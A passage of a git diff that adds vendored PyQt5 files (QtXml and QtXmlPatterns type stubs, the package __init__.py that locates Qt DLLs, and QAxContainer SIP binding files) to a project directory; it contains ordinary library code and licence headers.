QDomNode.NodeType: ... + def systemId(self) -> str: ... + def publicId(self) -> str: ... + + +class QDomEntity(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomEntity') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + def notationName(self) -> str: ... + def systemId(self) -> str: ... + def publicId(self) -> str: ... + + +class QDomEntityReference(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomEntityReference') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + + +class QDomProcessingInstruction(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomProcessingInstruction') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + def setData(self, d: str) -> None: ... + def data(self) -> str: ... + def target(self) -> str: ... + + +class QXmlNamespaceSupport(sip.simplewrapper): + + def __init__(self) -> None: ... + + def reset(self) -> None: ... + def popContext(self) -> None: ... + def pushContext(self) -> None: ... + @typing.overload + def prefixes(self) -> typing.List[str]: ... + @typing.overload + def prefixes(self, a0: str) -> typing.List[str]: ... + def processName(self, a0: str, a1: bool, a2: str, a3: str) -> None: ... + def splitName(self, a0: str, a1: str, a2: str) -> None: ... + def uri(self, a0: str) -> str: ... + def prefix(self, a0: str) -> str: ... + def setPrefix(self, a0: str, a1: str) -> None: ... + + +class QXmlAttributes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlAttributes') -> None: ... + + def swap(self, other: 'QXmlAttributes') -> None: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def append(self, qName: str, uri: str, localPart: str, value: str) -> None: ... + def clear(self) -> None: ... + @typing.overload + def value(self, index: int) -> str: ... + @typing.overload + def value(self, qName: str) -> str: ... + @typing.overload + def value(self, uri: str, localName: str) -> str: ... + @typing.overload + def type(self, index: int) -> str: ... + @typing.overload + def type(self, qName: str) -> str: ... + @typing.overload + def type(self, uri: str, localName: str) -> str: ... + def uri(self, index: int) -> str: ... + def qName(self, index: int) -> str: ... + def localName(self, index: int) -> str: ... + def length(self) -> int: ... + @typing.overload + def index(self, qName: str) -> int: ... + @typing.overload + def index(self, uri: str, localPart: str) -> int: ... + + +class QXmlInputSource(sip.simplewrapper): + + EndOfData = ... # type: int + EndOfDocument = ... # type: int + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, dev: QtCore.QIODevice) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlInputSource') -> None: ... + + def fromRawData(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray], beginning: bool = ...) -> str: ... + def reset(self) -> None: ... + def next(self) -> str: ... + def data(self) -> str: ... + def fetchData(self) -> None: ... + @typing.overload + def setData(self, dat: str) -> None: ... + @typing.overload + def setData(self, dat: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + + +class QXmlParseException(sip.simplewrapper): + + @typing.overload + def __init__(self, name: str = ..., column: int = ..., line: int = ..., publicId: str = ..., systemId: str = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QXmlParseException') -> None: ... + + def message(self) -> str: ... + def systemId(self) -> str: ... + def publicId(self) -> str: ... + def lineNumber(self) -> int: ... + def columnNumber(self) -> int: ... + + +class QXmlReader(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlReader') -> None: ... + + @typing.overload + def parse(self, input: QXmlInputSource) -> bool: ... + @typing.overload + def parse(self, input: QXmlInputSource) -> bool: ... + def declHandler(self) -> 'QXmlDeclHandler': ... + def setDeclHandler(self, handler: 'QXmlDeclHandler') -> None: ... + def lexicalHandler(self) -> 'QXmlLexicalHandler': ... + def setLexicalHandler(self, handler: 'QXmlLexicalHandler') -> None: ... + def errorHandler(self) -> 'QXmlErrorHandler': ... + def setErrorHandler(self, handler: 'QXmlErrorHandler') -> None: ... + def contentHandler(self) -> 'QXmlContentHandler': ... + def setContentHandler(self, handler: 'QXmlContentHandler') -> None: ... + def DTDHandler(self) -> 'QXmlDTDHandler': ... + def setDTDHandler(self, handler: 'QXmlDTDHandler') -> None: ... + def entityResolver(self) -> 'QXmlEntityResolver': ... + def setEntityResolver(self, handler: 'QXmlEntityResolver') -> None: ... + def hasProperty(self, name: str) -> bool: ... + def setProperty(self, name: str, value: PyQt5.sip.voidptr) -> None: ... + def property(self, name: str) -> typing.Tuple[PyQt5.sip.voidptr, bool]: ... + def hasFeature(self, name: str) -> bool: ... + def setFeature(self, name: str, value: bool) -> None: ... + def feature(self, name: str) -> typing.Tuple[bool, bool]: ... + + +class QXmlSimpleReader(QXmlReader): + + def __init__(self) -> None: ... + + def parseContinue(self) -> bool: ... + @typing.overload + def parse(self, input: QXmlInputSource) -> bool: ... + @typing.overload + def parse(self, input: QXmlInputSource, incremental: bool) -> bool: ... + def declHandler(self) -> 'QXmlDeclHandler': ... + def setDeclHandler(self, handler: 'QXmlDeclHandler') -> None: ... + def lexicalHandler(self) -> 'QXmlLexicalHandler': ... + def setLexicalHandler(self, handler: 'QXmlLexicalHandler') -> None: ... + def errorHandler(self) -> 'QXmlErrorHandler': ... + def setErrorHandler(self, handler: 'QXmlErrorHandler') -> None: ... + def contentHandler(self) -> 'QXmlContentHandler': ... + def setContentHandler(self, handler: 'QXmlContentHandler') -> None: ... + def DTDHandler(self) -> 'QXmlDTDHandler': ... + def setDTDHandler(self, handler: 'QXmlDTDHandler') -> None: ... + def entityResolver(self) -> 'QXmlEntityResolver': ... + def setEntityResolver(self, handler: 'QXmlEntityResolver') -> None: ... + def hasProperty(self, name: str) -> bool: ... + def setProperty(self, name: str, value: PyQt5.sip.voidptr) -> None: ... + def property(self, name: str) -> typing.Tuple[PyQt5.sip.voidptr, bool]: ... + def hasFeature(self, name: str) -> bool: ... + def setFeature(self, name: str, value: bool) -> None: ... + def feature(self, name: str) -> typing.Tuple[bool, bool]: ... + + +class QXmlLocator(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlLocator') -> None: ... + + def lineNumber(self) -> int: ... + def columnNumber(self) -> int: ... + + +class QXmlContentHandler(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlContentHandler') -> None: ... + + def errorString(self) -> str: ... + def skippedEntity(self, name: str) -> bool: ... + def processingInstruction(self, target: str, data: str) -> bool: ... + def ignorableWhitespace(self, ch: str) -> bool: ... + def characters(self, ch: str) -> bool: ... + def endElement(self, namespaceURI: str, localName: str, qName: str) -> bool: ... + def startElement(self, namespaceURI: str, localName: str, qName: str, atts: QXmlAttributes) -> bool: ... + def endPrefixMapping(self, prefix: str) -> bool: ... + def startPrefixMapping(self, prefix: str, uri: str) -> bool: ... + def endDocument(self) -> bool: ... + def startDocument(self) -> bool: ... + def setDocumentLocator(self, locator: QXmlLocator) -> None: ... + + +class QXmlErrorHandler(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlErrorHandler') -> None: ... + + def errorString(self) -> str: ... + def fatalError(self, exception: QXmlParseException) -> bool: ... + def error(self, exception: QXmlParseException) -> bool: ... + def warning(self, exception: QXmlParseException) -> bool: ... + + +class QXmlDTDHandler(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlDTDHandler') -> None: ... + + def errorString(self) -> str: ... + def unparsedEntityDecl(self, name: str, publicId: str, systemId: str, notationName: str) -> bool: ... + def notationDecl(self, name: str, publicId: str, systemId: str) -> bool: ... + + +class QXmlEntityResolver(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlEntityResolver') -> None: ... + + def errorString(self) -> str: ... + def resolveEntity(self, publicId: str, systemId: str) -> typing.Tuple[bool, QXmlInputSource]: ... + + +class QXmlLexicalHandler(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlLexicalHandler') -> None: ... + + def errorString(self) -> str: ... + def comment(self, ch: str) -> bool: ... + def endCDATA(self) -> bool: ... + def startCDATA(self) -> bool: ... + def endEntity(self, name: str) -> bool: ... + def startEntity(self, name: str) -> bool: ... + def endDTD(self) -> bool: ... + def startDTD(self, name: str, publicId: str, systemId: str) -> bool: ... + + +class QXmlDeclHandler(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlDeclHandler') -> None: ... + + def errorString(self) -> str: ... + def externalEntityDecl(self, name: str, publicId: str, systemId: str) -> bool: ... + def internalEntityDecl(self, name: str, value: str) -> bool: ... + def attributeDecl(self, eName: str, aName: str, type: str, valueDefault: str, value: str) -> bool: ... + + +class QXmlDefaultHandler(QXmlContentHandler, QXmlErrorHandler, QXmlDTDHandler, QXmlEntityResolver, QXmlLexicalHandler, QXmlDeclHandler): + + def __init__(self) -> None: ... + + def errorString(self) -> str: ... + def externalEntityDecl(self, name: str, publicId: str, systemId: str) -> bool: ... + def internalEntityDecl(self, name: str, value: str) -> bool: ... + def attributeDecl(self, eName: str, aName: str, type: str, valueDefault: str, value: str) -> bool: ... + def comment(self, ch: str) -> bool: ... + def endCDATA(self) -> bool: ... + def startCDATA(self) -> bool: ... + def endEntity(self, name: str) -> bool: ... + def startEntity(self, name: str) -> bool: ... + def endDTD(self) -> bool: ... + def startDTD(self, name: str, publicId: str, systemId: str) -> bool: ... + def resolveEntity(self, publicId: str, systemId: str) -> typing.Tuple[bool, QXmlInputSource]: ... + def unparsedEntityDecl(self, name: str, publicId: str, systemId: str, notationName: str) -> bool: ... + def notationDecl(self, name: str, publicId: str, systemId: str) -> bool: ... + def fatalError(self, exception: QXmlParseException) -> bool: ... + def error(self, exception: QXmlParseException) -> bool: ... + def warning(self, exception: QXmlParseException) -> bool: ... + def skippedEntity(self, name: str) -> bool: ... + def processingInstruction(self, target: str, data: str) -> bool: ... + def ignorableWhitespace(self, ch: str) -> bool: ... + def characters(self, ch: str) -> bool: ... + def endElement(self, namespaceURI: str, localName: str, qName: str) -> bool: ... + def startElement(self, namespaceURI: str, localName: str, qName: str, atts: QXmlAttributes) -> bool: ... + def endPrefixMapping(self, prefix: str) -> bool: ... + def startPrefixMapping(self, prefix: str, uri: str) -> bool: ... + def endDocument(self) -> bool: ... + def startDocument(self) -> bool: ... + def setDocumentLocator(self, locator: QXmlLocator) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtXmlPatterns.pyi b/OTHERS/Jarvis/ools/PyQt5/QtXmlPatterns.pyi new file mode 100644 index 00000000..d24215af --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtXmlPatterns.pyi @@ -0,0 +1,369 @@ +# The PEP 484 type hints stub file for the QtXmlPatterns module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtNetwork +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QAbstractMessageHandler(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def handleMessage(self, type: QtCore.QtMsgType, description: str, identifier: QtCore.QUrl, sourceLocation: 'QSourceLocation') -> None: ... + def message(self, type: QtCore.QtMsgType, description: str, identifier: QtCore.QUrl = ..., sourceLocation: 'QSourceLocation' = ...) -> None: ... + + +class QAbstractUriResolver(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def resolve(self, relative: QtCore.QUrl, baseURI: QtCore.QUrl) -> QtCore.QUrl: ... + + +class QXmlNodeModelIndex(sip.simplewrapper): + + class DocumentOrder(int): + Precedes = ... # type: QXmlNodeModelIndex.DocumentOrder + Is = ... # type: QXmlNodeModelIndex.DocumentOrder + Follows = ... # type: QXmlNodeModelIndex.DocumentOrder + + class NodeKind(int): + Attribute = ... # type: QXmlNodeModelIndex.NodeKind + Comment = ... # type: QXmlNodeModelIndex.NodeKind + Document = ... # type: QXmlNodeModelIndex.NodeKind + Element = ... # type: QXmlNodeModelIndex.NodeKind + Namespace = ... # type: QXmlNodeModelIndex.NodeKind + ProcessingInstruction = ... # type: QXmlNodeModelIndex.NodeKind + Text = ... # type: QXmlNodeModelIndex.NodeKind + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QXmlNodeModelIndex') -> None: ... + + def __hash__(self) -> int: ... + def isNull(self) -> bool: ... + def additionalData(self) -> int: ... + def model(self) -> 'QAbstractXmlNodeModel': ... + def internalPointer(self) -> typing.Any: ... + def data(self) -> int: ... + + +class QAbstractXmlNodeModel(sip.simplewrapper): + + class SimpleAxis(int): + Parent = ... # type: QAbstractXmlNodeModel.SimpleAxis + FirstChild = ... # type: QAbstractXmlNodeModel.SimpleAxis + PreviousSibling = ... # type: QAbstractXmlNodeModel.SimpleAxis + NextSibling = ... # type: QAbstractXmlNodeModel.SimpleAxis + + def __init__(self) -> None: ... + + @typing.overload + def createIndex(self, data: int) -> QXmlNodeModelIndex: ... + @typing.overload + def createIndex(self, data: int, additionalData: int) -> QXmlNodeModelIndex: ... + @typing.overload + def createIndex(self, pointer: typing.Any, additionalData: int = ...) -> QXmlNodeModelIndex: ... + def attributes(self, element: QXmlNodeModelIndex) -> typing.List[QXmlNodeModelIndex]: ... + def nextFromSimpleAxis(self, axis: 'QAbstractXmlNodeModel.SimpleAxis', origin: QXmlNodeModelIndex) -> QXmlNodeModelIndex: ... + def sourceLocation(self, index: QXmlNodeModelIndex) -> 'QSourceLocation': ... + def nodesByIdref(self, NCName: 'QXmlName') -> typing.List[QXmlNodeModelIndex]: ... + def elementById(self, NCName: 'QXmlName') -> QXmlNodeModelIndex: ... + def namespaceBindings(self, n: QXmlNodeModelIndex) -> typing.List['QXmlName']: ... + def typedValue(self, n: QXmlNodeModelIndex) -> typing.Any: ... + def stringValue(self, n: QXmlNodeModelIndex) -> str: ... + def name(self, ni: QXmlNodeModelIndex) -> 'QXmlName': ... + def root(self, n: QXmlNodeModelIndex) -> QXmlNodeModelIndex: ... + def compareOrder(self, ni1: QXmlNodeModelIndex, ni2: QXmlNodeModelIndex) -> QXmlNodeModelIndex.DocumentOrder: ... + def kind(self, ni: QXmlNodeModelIndex) -> QXmlNodeModelIndex.NodeKind: ... + def documentUri(self, ni: QXmlNodeModelIndex) -> QtCore.QUrl: ... + def baseUri(self, ni: QXmlNodeModelIndex) -> QtCore.QUrl: ... + + +class QXmlItem(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QXmlItem') -> None: ... + @typing.overload + def __init__(self, node: QXmlNodeModelIndex) -> None: ... + @typing.overload + def __init__(self, atomicValue: typing.Any) -> None: ... + + def toNodeModelIndex(self) -> QXmlNodeModelIndex: ... + def toAtomicValue(self) -> typing.Any: ... + def isAtomicValue(self) -> bool: ... + def isNode(self) -> bool: ... + def isNull(self) -> bool: ... + + +class QAbstractXmlReceiver(sip.simplewrapper): + + def __init__(self) -> None: ... + + def endOfSequence(self) -> None: ... + def startOfSequence(self) -> None: ... + def namespaceBinding(self, name: 'QXmlName') -> None: ... + def atomicValue(self, value: typing.Any) -> None: ... + def processingInstruction(self, target: 'QXmlName', value: str) -> None: ... + def endDocument(self) -> None: ... + def startDocument(self) -> None: ... + def characters(self, value: str) -> None: ... + def comment(self, value: str) -> None: ... + def attribute(self, name: 'QXmlName', value: str) -> None: ... + def endElement(self) -> None: ... + def startElement(self, name: 'QXmlName') -> None: ... + + +class QSimpleXmlNodeModel(QAbstractXmlNodeModel): + + def __init__(self, namePool: 'QXmlNamePool') -> None: ... + + def nodesByIdref(self, idref: 'QXmlName') -> typing.List[QXmlNodeModelIndex]: ... + def elementById(self, id: 'QXmlName') -> QXmlNodeModelIndex: ... + def stringValue(self, node: QXmlNodeModelIndex) -> str: ... + def namespaceBindings(self, a0: QXmlNodeModelIndex) -> typing.List['QXmlName']: ... + def namePool(self) -> 'QXmlNamePool': ... + def baseUri(self, node: QXmlNodeModelIndex) -> QtCore.QUrl: ... + + +class QSourceLocation(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QSourceLocation') -> None: ... + @typing.overload + def __init__(self, u: QtCore.QUrl, line: int = ..., column: int = ...) -> None: ... + + def __hash__(self) -> int: ... + def isNull(self) -> bool: ... + def setUri(self, newUri: QtCore.QUrl) -> None: ... + def uri(self) -> QtCore.QUrl: ... + def setLine(self, newLine: int) -> None: ... + def line(self) -> int: ... + def setColumn(self, newColumn: int) -> None: ... + def column(self) -> int: ... + + +class QXmlSerializer(QAbstractXmlReceiver): + + def __init__(self, query: 'QXmlQuery', outputDevice: QtCore.QIODevice) -> None: ... + + def codec(self) -> QtCore.QTextCodec: ... + def setCodec(self, codec: QtCore.QTextCodec) -> None: ... + def outputDevice(self) -> QtCore.QIODevice: ... + def endOfSequence(self) -> None: ... + def startOfSequence(self) -> None: ... + def endDocument(self) -> None: ... + def startDocument(self) -> None: ... + def atomicValue(self, value: typing.Any) -> None: ... + def processingInstruction(self, name: 'QXmlName', value: str) -> None: ... + def attribute(self, name: 'QXmlName', value: str) -> None: ... + def endElement(self) -> None: ... + def startElement(self, name: 'QXmlName') -> None: ... + def comment(self, value: str) -> None: ... + def characters(self, value: str) -> None: ... + def namespaceBinding(self, nb: 'QXmlName') -> None: ... + + +class QXmlFormatter(QXmlSerializer): + + def __init__(self, query: 'QXmlQuery', outputDevice: QtCore.QIODevice) -> None: ... + + def setIndentationDepth(self, depth: int) -> None: ... + def indentationDepth(self) -> int: ... + def endOfSequence(self) -> None: ... + def startOfSequence(self) -> None: ... + def endDocument(self) -> None: ... + def startDocument(self) -> None: ... + def atomicValue(self, value: typing.Any) -> None: ... + def processingInstruction(self, name: 'QXmlName', value: str) -> None: ... + def attribute(self, name: 'QXmlName', value: str) -> None: ... + def endElement(self) -> None: ... + def startElement(self, name: 'QXmlName') -> None: ... + def comment(self, value: str) -> None: ... + def characters(self, value: str) -> None: ... + + +class QXmlName(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, namePool: 'QXmlNamePool', localName: str, namespaceUri: str = ..., prefix: str = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QXmlName') -> None: ... + + def __hash__(self) -> int: ... + @staticmethod + def fromClarkName(clarkName: str, namePool: 'QXmlNamePool') -> 'QXmlName': ... + @staticmethod + def isNCName(candidate: str) -> bool: ... + def isNull(self) -> bool: ... + def toClarkName(self, query: 'QXmlNamePool') -> str: ... + def localName(self, query: 'QXmlNamePool') -> str: ... + def prefix(self, query: 'QXmlNamePool') -> str: ... + def namespaceUri(self, query: 'QXmlNamePool') -> str: ... + + +class QXmlNamePool(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QXmlNamePool') -> None: ... + + +class QXmlQuery(sip.simplewrapper): + + class QueryLanguage(int): + XQuery10 = ... # type: QXmlQuery.QueryLanguage + XSLT20 = ... # type: QXmlQuery.QueryLanguage + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QXmlQuery') -> None: ... + @typing.overload + def __init__(self, np: QXmlNamePool) -> None: ... + @typing.overload + def __init__(self, queryLanguage: 'QXmlQuery.QueryLanguage', pool: QXmlNamePool = ...) -> None: ... + + def queryLanguage(self) -> 'QXmlQuery.QueryLanguage': ... + def networkAccessManager(self) -> QtNetwork.QNetworkAccessManager: ... + def setNetworkAccessManager(self, newManager: QtNetwork.QNetworkAccessManager) -> None: ... + def initialTemplateName(self) -> QXmlName: ... + @typing.overload + def setInitialTemplateName(self, name: QXmlName) -> None: ... + @typing.overload + def setInitialTemplateName(self, name: str) -> None: ... + @typing.overload + def setFocus(self, item: QXmlItem) -> None: ... + @typing.overload + def setFocus(self, documentURI: QtCore.QUrl) -> bool: ... + @typing.overload + def setFocus(self, document: QtCore.QIODevice) -> bool: ... + @typing.overload + def setFocus(self, focus: str) -> bool: ... + def uriResolver(self) -> QAbstractUriResolver: ... + def setUriResolver(self, resolver: QAbstractUriResolver) -> None: ... + def evaluateToString(self) -> str: ... + def evaluateToStringList(self) -> typing.List[str]: ... + @typing.overload + def evaluateTo(self, result: 'QXmlResultItems') -> None: ... + @typing.overload + def evaluateTo(self, callback: QAbstractXmlReceiver) -> bool: ... + @typing.overload + def evaluateTo(self, target: QtCore.QIODevice) -> bool: ... + def isValid(self) -> bool: ... + @typing.overload + def bindVariable(self, name: QXmlName, value: QXmlItem) -> None: ... + @typing.overload + def bindVariable(self, name: QXmlName, a1: QtCore.QIODevice) -> None: ... + @typing.overload + def bindVariable(self, name: QXmlName, query: 'QXmlQuery') -> None: ... + @typing.overload + def bindVariable(self, localName: str, value: QXmlItem) -> None: ... + @typing.overload + def bindVariable(self, localName: str, a1: QtCore.QIODevice) -> None: ... + @typing.overload + def bindVariable(self, localName: str, query: 'QXmlQuery') -> None: ... + def namePool(self) -> QXmlNamePool: ... + @typing.overload + def setQuery(self, sourceCode: str, documentUri: QtCore.QUrl = ...) -> None: ... + @typing.overload + def setQuery(self, sourceCode: QtCore.QIODevice, documentUri: QtCore.QUrl = ...) -> None: ... + @typing.overload + def setQuery(self, queryURI: QtCore.QUrl, baseUri: QtCore.QUrl = ...) -> None: ... + def messageHandler(self) -> QAbstractMessageHandler: ... + def setMessageHandler(self, messageHandler: QAbstractMessageHandler) -> None: ... + + +class QXmlResultItems(sip.simplewrapper): + + def __init__(self) -> None: ... + + def current(self) -> QXmlItem: ... + def next(self) -> QXmlItem: ... + def hasError(self) -> bool: ... + + +class QXmlSchema(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QXmlSchema') -> None: ... + + def networkAccessManager(self) -> QtNetwork.QNetworkAccessManager: ... + def setNetworkAccessManager(self, networkmanager: QtNetwork.QNetworkAccessManager) -> None: ... + def uriResolver(self) -> QAbstractUriResolver: ... + def setUriResolver(self, resolver: QAbstractUriResolver) -> None: ... + def messageHandler(self) -> QAbstractMessageHandler: ... + def setMessageHandler(self, handler: QAbstractMessageHandler) -> None: ... + def documentUri(self) -> QtCore.QUrl: ... + def namePool(self) -> QXmlNamePool: ... + def isValid(self) -> bool: ... + @typing.overload + def load(self, source: QtCore.QUrl) -> bool: ... + @typing.overload + def load(self, source: QtCore.QIODevice, documentUri: QtCore.QUrl = ...) -> bool: ... + @typing.overload + def load(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray], documentUri: QtCore.QUrl = ...) -> bool: ... + + +class QXmlSchemaValidator(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, schema: QXmlSchema) -> None: ... + + def networkAccessManager(self) -> QtNetwork.QNetworkAccessManager: ... + def setNetworkAccessManager(self, networkmanager: QtNetwork.QNetworkAccessManager) -> None: ... + def uriResolver(self) -> QAbstractUriResolver: ... + def setUriResolver(self, resolver: QAbstractUriResolver) -> None: ... + def messageHandler(self) -> QAbstractMessageHandler: ... + def setMessageHandler(self, handler: QAbstractMessageHandler) -> None: ... + def schema(self) -> QXmlSchema: ... + def namePool(self) -> QXmlNamePool: ... + @typing.overload + def validate(self, source: QtCore.QUrl) -> bool: ... + @typing.overload + def validate(self, source: QtCore.QIODevice, documentUri: QtCore.QUrl = ...) -> bool: ... + @typing.overload + def validate(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray], documentUri: QtCore.QUrl = ...) -> bool: ... + def setSchema(self, schema: QXmlSchema) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/__init__.py b/OTHERS/Jarvis/ools/PyQt5/__init__.py new file mode 100644 index 00000000..7201c22f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/__init__.py @@ -0,0 +1,50 @@ +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +# Support PyQt5 sub-packages that have been created by setuptools. +__path__ = __import__('pkgutil').extend_path(__path__, __name__) + + +def find_qt(): + import os, sys + + qtcore_dll = '\\Qt5Core.dll' + + dll_dir = os.path.dirname(sys.executable) + if not os.path.isfile(dll_dir + qtcore_dll): + path = os.environ['PATH'] + + dll_dir = os.path.dirname(__file__) + '\\Qt5\\bin' + if os.path.isfile(dll_dir + qtcore_dll): + path = dll_dir + ';' + path + os.environ['PATH'] = path + else: + for dll_dir in path.split(';'): + if os.path.isfile(dll_dir + qtcore_dll): + break + else: + return + + try: + os.add_dll_directory(dll_dir) + except AttributeError: + pass + + +find_qt() +del find_qt diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/QAxContainer.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/QAxContainer.toml new file mode 100644 index 00000000..2a200eec --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/QAxContainer.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QAxContainer. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/QAxContainermod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/QAxContainermod.sip new file mode 100644 index 00000000..a0848805 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/QAxContainermod.sip @@ -0,0 +1,48 @@ +// This is the SIP interface definition for the QAxContainer module of PyQt v5. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QAxContainer, keyword_arguments="Optional", use_limited_api=True) + +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qaxbase.sip +%Include qaxobject.sip +%Include qaxwidget.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/qaxbase.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/qaxbase.sip new file mode 100644 index 00000000..2f8044fa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/qaxbase.sip @@ -0,0 +1,158 @@ +// This is the SIP interface definition for QAxBase. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAxBase /Abstract, PyQtNoQMetaObject/ +{ +%TypeHeaderCode +#include +%End + +public: + //QAxBase(IUnknown *iface = 0); + virtual ~QAxBase(); + + QString control() const; + + //long queryInterface(const QUuid &, void **) const; + + // Note that the order of 